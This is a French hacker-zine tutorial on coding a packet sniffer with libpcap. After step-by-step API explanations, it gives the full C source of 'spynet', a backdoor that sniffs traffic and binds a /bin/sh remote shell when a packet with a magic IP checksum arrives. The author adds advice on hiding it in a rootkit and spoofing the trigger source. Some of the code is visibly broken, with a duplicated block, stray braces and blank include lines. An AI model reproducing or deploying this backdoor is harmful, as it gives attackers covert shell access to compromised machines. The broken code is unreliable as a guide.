#########################################
		#	Programmer son sniffer          #
		##############-{Judicious}-##############


Introduction
============

	Dans cet article, je vais vous enseigner l'art et la maniere de
programmer son propre sniffer. Bien sur, apres la lecture de cet article ne
vous attendez pas a etre capable de coder un truc style tcpdump ou sniffit
(quand meme!!!) dans la mesure ou vous ne trouverez ici que les bases. Pour
pouvoir utiliser les informations de cet article, vous aurez besoin de la
libpcap telechargeable a http://www.tcpdump.org.


La libpcap
==========

	pcap signifie "Packet Capturing", la libpcap est donc une librairie
qui va vous permettre de capturer des paquets transitants sur un reseau et de
les analyser. Elle inclue des fonctions de filtrage basees sur le Berkeley
Packet Filter (BPF), mecanisme utilise dans tcpdump (entre autres). La libpcap
est actuellement maintenue par "The Tcpdump Group". Son installation se fait
comme toute autre librairies, donc vous ne devriez rencontrer aucun probleme de
ce cote la. Pour les chanceux tournant sous BSD, il est fort probable que la
libpcap soit deja presente sur votre systeme alors verifiez que vous ne l'avez
pas avant de vous jeter sur tcpdump.org pour la telecharger...


Coder son sniffer...
====================

	Coder un sniffer a l'aide de la libpcap est loin d'etre complique, le 
tout est, comme bien souvent, de connaitre les fonctions et leur syntaxe.
Allons-y, donc, et etape par etape...


	Premierement, il va nous falloir choisir une interface a sniffer. Pour
cela, nous avons deux solutions : soit nous la choisissons "manuellement" et
nous memorisons le nom de cette interface dans un char *, soit nous faisons
un "autodetect" avec la fonction pcap_lookupdev(). La syntaxe de cette fonction
est la suivante :


       #include 

       char errbuf[PCAP_ERRBUF_SIZE];
       char *pcap_lookupdev(char *errbuf);


       La macro PCAP_ERRBUF_SIZE est definie dans pcap.h. La valeur de retour
de pcap_lookupdev() est un pointeur sur la premiere interface reseau detectee
ou NULL si une erreur est survenue. En cas d'erreur, il est interessant de
noter que la chaine errbuf contiendra le message de l'erreur survenue. Voici
un exemple de l'utilisation de la fonction pcap_lookupdev() :

			---------------------------------

       char errbuf[PCAP_ERRBUF_SIZE];
       char *dev;

       if((dev=pcap_lookupdev(errbuf))==NULL) {
          fprintf(stderr,"unable de detect device : %s\n",errbuf);
	  exit(-1);
        }

	printf("using %s as device for sniffing\n",dev);


		        ----------------------------------


        Apres avoir choisit l'interface de reseau, il va nous falloir un
descripteur pour la capture des paquets. On obtient ce descripteur en utilisant
la fonction pcap_open_live() dont la syntaxe est la suivante :


	#include 
	
	pcap_t *pcap_open_live(char *device, int snaplen,
int promisc, int to_ms, char *ebuf);

      + char *device correspond au pointeur obtenu a l'etape precedente
      + int snaplen represente le nombre maximal d'octets a capturer
      + int promisc permet de preciser si le promiscuous bit doit etre a 1 ou 0
      + int to_ms represente le timeout des lectures (donne en millisecondes)
      + char *ebuf est notre buffer d'erreurs (le errbuf de l'etape precedente)

      Il est a noter que sur un ethernet, la valeur snaplen est de 1514. De
plus, int promisc prend le plus souvent pour valeur IFF_PROMISC qui est une
macro definie dans /usr/include/net/if.h et non dans pcap.h. N'oubliez pas de
rajouter ce fichier en-tete dans votre code. Voici un exemple d'utilisation de
la fonction pcap_open_live() :

			     --------------------------------
			 
        char errbuf[PCAP_ERRBUF_SIZE];
	pcap_t *des;

	/* dev est le pointeur obtenu avec pcap_lookupdev() */
	if((des=pcap_open_live(dev,1514,IFF_PROMISC,1000,errbuf))==NULL) {
	    fprintf(stderr,"unable to open descriptor : %s\n",errbuf);
	    exit(-1);
	}


			     --------------------------------


      Apres avoir obtenu notre descripteur, il va nous falloir le numero et le
masque de reseau associe a l'interface que l'on desire sniffer. Encore une fois
pas la peine de se prendre la tete : une fonction va le faire a notre place
(quand je vous disais que c'est simple de faire un sniffer avec pcap) et cette
fonction est pcap_lookupnet() dont la syntaxe est :



	 #include 

	 int pcap_lookupnet(char *device, bpf_u_int32 *netp,
               bpf_u_int32 *maskp, char *errbuf);

	 
	 Cette fonction renvoie -1 en cas d'erreur (comme la plupart des 
fonctions de type int). Je ne vous presente plus les arguments char *device et
char *errbuf, je pense que ce sont devenus de vieux amis a vous. Je n'ai par
contre pas encore fait les presentations avec bpf_u_int32 *netp et
bpf_u_int32 *maskp. Elles seront vite faites : ces deux arguments sont juste ce
que nous desirons obtenir avec pcap_lookupnet(), a savoir le numero et le
masque de reseau. Allez, je vous montre comment on utilise cette fonction,comme
je suis lance et que je me sens genereux...


			   -------------------------------

char errbuf[PCAP_ERRBUF_SIZE];
char *dev; /* bon, pour la suite on admettra que dev pointe sur l'interface */
bpf_u_int32 net,mask;

if(pcap_lookupnet(dev,&net,&mask,errbuf)==-1) {
   fprintf(stderr,"unable to lookup net and mask : %s\n",errbuf);
   exit(-1);
}

			   -------------------------------


        Voila, y'a rien de plus simple!!! Bon, recapitulons ce que nous avons
a ce stade : on a notre interface, notre descripteur et nos net et mask MAIS
nous ne pouvons toujours pas commencer a sniffer, pour la simple et bonne
raison que nous n'avons encore pas precise QUOI sniffer. C'est la qu'on fait
intervenir les filtres BPF. Si vous vous etes deja servis de tcpdump, la
syntaxe des filtres BPF ne devrait vous poser aucun probleme, sinon et bien...
man tcpdump :). Il nous faut donc nos filtres. Les obtenir n'est pas complique
dans la mesure ou nous n'avons qu'a les stocker dans un char ou meme les
definir en macro (#define). Neanmoins, il ne sont pas encore directement
utilisables par notre sniffer, car ce sniffer lui, ne comprend pas le langage
humain (et oui, il est pas tres cultive), il va nous falloir lui traduire dans
sa langue ce que l'on attend de lui. Nous allons donc tout lui traduire en
hexadecimal...non, je deconne, on a encore une fonction qui automatise tout :).
Je vous presente donc votre nouvelle amie : la fonction pcap_compile() dont
la syntaxe est la suivante :

	   #include 

	   int pcap_compile(pcap_t *p, struct bpf_program *fp,
               char *str, int optimize, bpf_u_int32 netmask)


   + Le premier argument est notre descripteur obtenu avec pcap_open_live()
   + Le second, la structure, va etre remplie par pcap_compile()
   + char *str est la chaine contenant notre filtre ecrit sous forme de texte
   + int optimize controle l'optimisation du filtre, generalement mis a 0x100
   + bpf_u_int32 netmask est le masque obtenu avec pcap_lookupnet()
   + La fonction renvoie elle aussi -1 en cas d'erreur

   Comme je suis encore trop gentil, je vais vous donner un exemple :


			 ----------------------------------

/* les variables non definies ici sont celles definies dans les precedentes */
/* etapes donc n'hallucinez pas en voyant pleins de variables...	    */

struct bpf_program fp;
char filtre[]="dst port 23";

if(pcap_compile(des,&fp,filtre,0x100,mask)==-1) {
    fprintf(stderr,"error compiling filter : %s\n",pcap_geterr(des));
    exit(-1)
}

			-----------------------------------

	Nous avons donc "traduit" (en quelque sorte) notre filtre (pour les 
accros des veritables termes, et ils sont nombreux, on dit qu'on l'a compile).
Nous avons donc compile notre filtre, qui est donc devenu comprehensible pour
notre sniffer. Maintenant, nous allons le mettre en place avec la fonction
pcap_setfilter() :

	#include 

	int pcap_setfilter(pcap_t *p, struct bpf_program *fp)

	Vous connaissez deja les deux arguments (descripteur et structure
contenant notre filtre compile) donc je ne m'etendrai pas la-dessus. Mais quand
meme je vais donner un exemple pour les plus neuneus d'entre vous :) :


			   --------------------------------

if(pcap_setfilter(des,&fp)<0) {
   fprintf(setderr,"unable to apply filter : %s\n",pcap_geterr(des));
   exit(-1);
}

			   --------------------------------

	Bon, et bien nous arrivons a la fin de nos (minuscules) peines. Nous
n'avons plus qu'a lire dans notre descripteur pour avoir les paquets captures
a l'aide d'une boucle. Cette boucle est realisee avec la fonction pcap_loop() :

	 #include 

	 int pcap_loop(pcap_t *p, int cnt, pcap_handler callback, u_char *user)

   + pcap_t *p est notre descripteur
   + int cnt est le nombre de paquets a traiter, on met -1 pour une boucle
   infinie
   + pcap_handler callback est une fonction de traitement que NOUS devons
   ecrire (pour une fois)
   + le pointeur *user est un argument passe directement a la fonction 
   callback()


   On l'utilise comme suit :


			   ------------------------------
char *buf;

if(pcap_loop(des,-1,callback,buf)<0) {
   fprintf(stderr,"unable to initialize loop : %s\n",pcap_geterr(des));
   exit(-1);
}

			   ------------------------------

	Parlons maintenant de la fonction callback(), qui est une fonction
assez speciale. En effet, c'est a nous de l'ecrire afin de nous laisser decider
quoi faire avec les paquets obtenus. Ses possibilites etant illimitees, je
n'en donnerai aucun exemple, neanmoins sachez qu'il vous faut avoir des 
connaissances sur le protocole TCP/IP et sur les Raw Sockets pour profiter
pleinement des possibilites qui nous sont offertes. On a:


         #include 

         pcap_handler callback(u_char *user,const struct pcap_pkthdr *h,
         const u_char *buff)

	 On a, par exemple de debut de fonction callback :

void callback(u_char *user,const struct pcap_pkthdr *h,const u_char *buf)
{
    struct iphdr *ip;
    struct tcphdr *tcp;

    ip=(struct iphdr *)buf;

    ...

}

     Il est a noter que pour utiliser les structures ci-dessus, il vous faudra
utiliser d'autres fichiers en-tetes comme /usr/include/netinet/ip.h ou encore
/usr/include/netinet/tcp.h. Comme vous le voyez, s'y connaitre en Raw Sockets
aide pas mal...


Un exemple de sniffer : spynet
==============================

      Comme je suis quelqu'un de HO COMBIEN gentil (arf =), j'ai realise rien
que pour cet article (et donc rien que pour vous), un petit code de sniffer que
j'ai baptise spynet (rien a voir avec Terminator 2 ;). S'il existe deja un
programme de ce nom, je suis desole pour son auteur mais je l'ignorais... Voila
donc, RIEN QUE POUR VOUS, le sniffer de TIPIAK!!!! (envoyez vos cheques a
l'adresse suivante : ..... :)


-------------------------------------------------------------------------------
/*****************************************************************************/
/*		                   SPYNET                                    */
/*                                                        by  Judicious      */
/*****************************************************************************/
/* Voici un petit exemple de code montrant comment coder un sniffer. Au lieu */
/* de montrer l'exemple classique d'un sniffer loggant des paquets, je vous  */
/* montre une petite backdoor basee sur un sniffer (integrez la dans un      */
/* rootkit si vous comptez vous en servir, elle ne se cache pas par          */
/* elle-meme) qui bindera un shell si la checksum d'un header IP recu est    */
/* egale a 12345. Le port utilise sera celui du port source specifie dans le */
/* paquet TCP. Vous n'avez plus qu'a coder avec les SOCK_RAW pour pouvoir    */
/* vous servir de ce code. Je vous conseille de spoofer votre IP quand vous  */
/* activez la door (le shell s'ouvrira quand meme, peu importe l'IP du       */
/* paquet ouvrant), et de ne pas choisir en IP destination la machine cible. */
/* Le resultat sera le meme de toutes facons puisqu'on sniffe un sous-reseau */
/* et donc que le paquet sera quand meme sniffe (suivant les filtres que vous*/
/* appliquerez. HAVE FUN!!!   Compile : gcc -ospynet spynet.c -lpcap	     */
/*****************************************************************************/
/* NECESSITE LA PRESENCE DE LA LIBPCAP SUR LE SYSTEME OU UNE COMPILATION     */
/*             STATIQUE PUIS LE TELECHARGEMENT DU BINAIRE		     */
/*****************************************************************************/
/* Une amelioration est possible : l'utilisation du protocole UDP ou ICMP au */
/* lieu de TCP pour l'activateur, je vous laisse la faire manuellement,      */
/* laissez les script kiddies etre moins discrets avec ce code...	     */
/*****************************************************************************/

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#define S_LEN 1514


/* help... */
void use()
{
  printf("SPYNET  ---by Judicious   from the TipiaK War Factory Team\n\n");
  printf("Availaible options are :\n\n");
  printf("   -d  : Use 'device' as the network interface device\n");
  printf("                 The first non-loopback interface is the default\n");
  printf("   -h          : Display this little help\n\n");
  printf("send bug reports and questions at : hotmail.root@caramail.com\n\n");
  exit(0);
}

/* je ne vous fait pas l'affront de commenter un remote shell */
void shell(int port)
{
  int soc_des,soc_cli,soc_rc,soc_len,server_pid,cli_pid;
  struct sockaddr_in serv_addr;
  struct sockaddr_in client_addr;

  soc_des=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  if(soc_des==-1)
    exit(-1);
  bzero((char *)&serv_addr,sizeof(serv_addr));
  serv_addr.sin_family=AF_INET;
  serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
  serv_addr.sin_port=htons(port);
  soc_rc=bind(soc_des,(struct sockaddr *)&serv_addr,sizeof(serv_addr));
  if(soc_rc!=0)
    exit(-1);
  if(fork()!=0)
    exit(0);
  setpgrp();
  signal(SIGHUP,SIG_IGN);
  if(fork()!=0)
    exit(0);
  soc_rc=listen(soc_des,5);
  if(soc_rc!=0)
    exit(0);
  soc_len=sizeof(client_addr);
  soc_cli=accept(soc_des,(struct sockaddr *)&client_addr,&soc_len);
  if(soc_cli<0) exit(0);
  cli_pid=getpid();
  server_pid=fork();
  if(server_pid!=0) {
    dup2(soc_cli,0);
    dup2(soc_cli,1);
    dup2(soc_cli,2);
    execl("/bin/sh","sh",(char *)0);
    close(soc_cli);
    close(soc_rc);
    close(soc_des);
  }
  close(soc_cli);
  close(soc_rc);
  close(soc_des);
}

/* notre fonction callback qui traite les paquets sniffes... */
void callback(u_char *user,const struct pcap_pkthdr *h, const u_char *buff)
{
  struct iphdr *ip;
  struct tcphdr *tcp;
  int p;
  ip=(struct iphdr *)(buff+14);
  tcp=(struct tcphdr *)(buff+34);

  /* checksum==12345 on bind un shell sur un port */
  if(ip->check==12345) {
    p=ntohs(tcp->source); /* port du shell=port source de l'activateur */
    shell(p);
  }
}


main(int argc, char *argv[])
{
  char errbuf[PCAP_ERRBUF_SIZE];
  char *device=NULL,*buff=NULL;
  pcap_t *pdes;
  bpf_u_int32 netp,maskp;
  struct bpf_program bp;
  char filter[350];
  int optch;


  while((optch=getopt(argc,argv,"d:h"))!=-1) {
    switch(optch) {
    case 'd' :
      device=optarg;
      printf("interface %s chosen\n",device);
      break;
    case 'h':
      use();
      break;
    default:
      printf("unknown option\n\n");
      use();
      break;
    }
  }

  printf("Filters (in BPF format) : ");
  fgets(filter,349,stdin);

  /* recherche d'interface car aucune n'a ete specifiee */
  if(device==NULL) {
    if((device=pcap_lookupdev(errbuf))==NULL) {
      fprintf(stderr,"error detecting device : %s\n",errbuf);
      exit(-1);
    }
  }

  /* obtention du descripteur */
  if((pdes=pcap_open_live(device,S_LEN,IFF_PROMISC,1000,errbuf))==NULL) {
    fprintf(stderr,"unable to get descriptor : %s\n",errbuf);
    exit(-1);
    }
  }

  /* obtention du descripteur */
  if((pdes=pcap_open_live(device,S_LEN,IFF_PROMISC,1000,errbuf))==NULL) {
    fprintf(stderr,"unable to get descriptor : %s\n",errbuf);
    exit(-1);
  }

  /* on veut numeros de reseau et de masque de l'interface */
  if(pcap_lookupnet(device,&netp,&maskp,errbuf)==-1) {
    fprintf(stderr,"unable to lookup network : %s\n",errbuf);
    exit(-1);
  }

  /* nous voila avec notre filtre compile */
  if(pcap_compile(pdes,&bp,filter,0x100,maskp)<0) {
    fprintf(stderr,"compile error : %s\n",pcap_geterr(pdes));
    exit(-1);
  }

  /* on balance notre filtre */
  if(pcap_setfilter(pdes,&bp)<0) {
    fprintf(stderr,"unable to set filter : %s\n",pcap_geterr(pdes));
    exit(-1);
  }

  /* plus qu'a sniffer comme un toxico */
  if(pcap_loop(pdes,-1,callback,buff)<0) {
    fprintf(stderr,"pcap_loop : %s\n",pcap_geterr(pdes));
    exit(-1);
  }

  return 0;
}


-------------------------------------------------------------------------------


Conclusion
==========
	Voila, c'est la fin de cet article. J'espere que vous aurez apprecie et
appris quelque chose. Sachez neanmoins que je ne vous ai montre que quelques
aspects de la libpcap, pour en savoir plus man pcap est deja un bon debut.
Enfin, n'oubliez pas le parametre -lpcap quand vous compilez avec gcc, c'est
parfois un petit oubli qui peut vous poser probleme pendant des heures si vous
n'avez pas l'habitude de coder avec d'autres bibliotheques que celles de base.
Si vous avez des questions, n'hesitez pas a me mailer : 
     hotmail.root@caramail.com
Par contre, je ne vous garanti pas une reponse immediate, ni une reponse tout
court dans la mesure ou je quitte le groupe...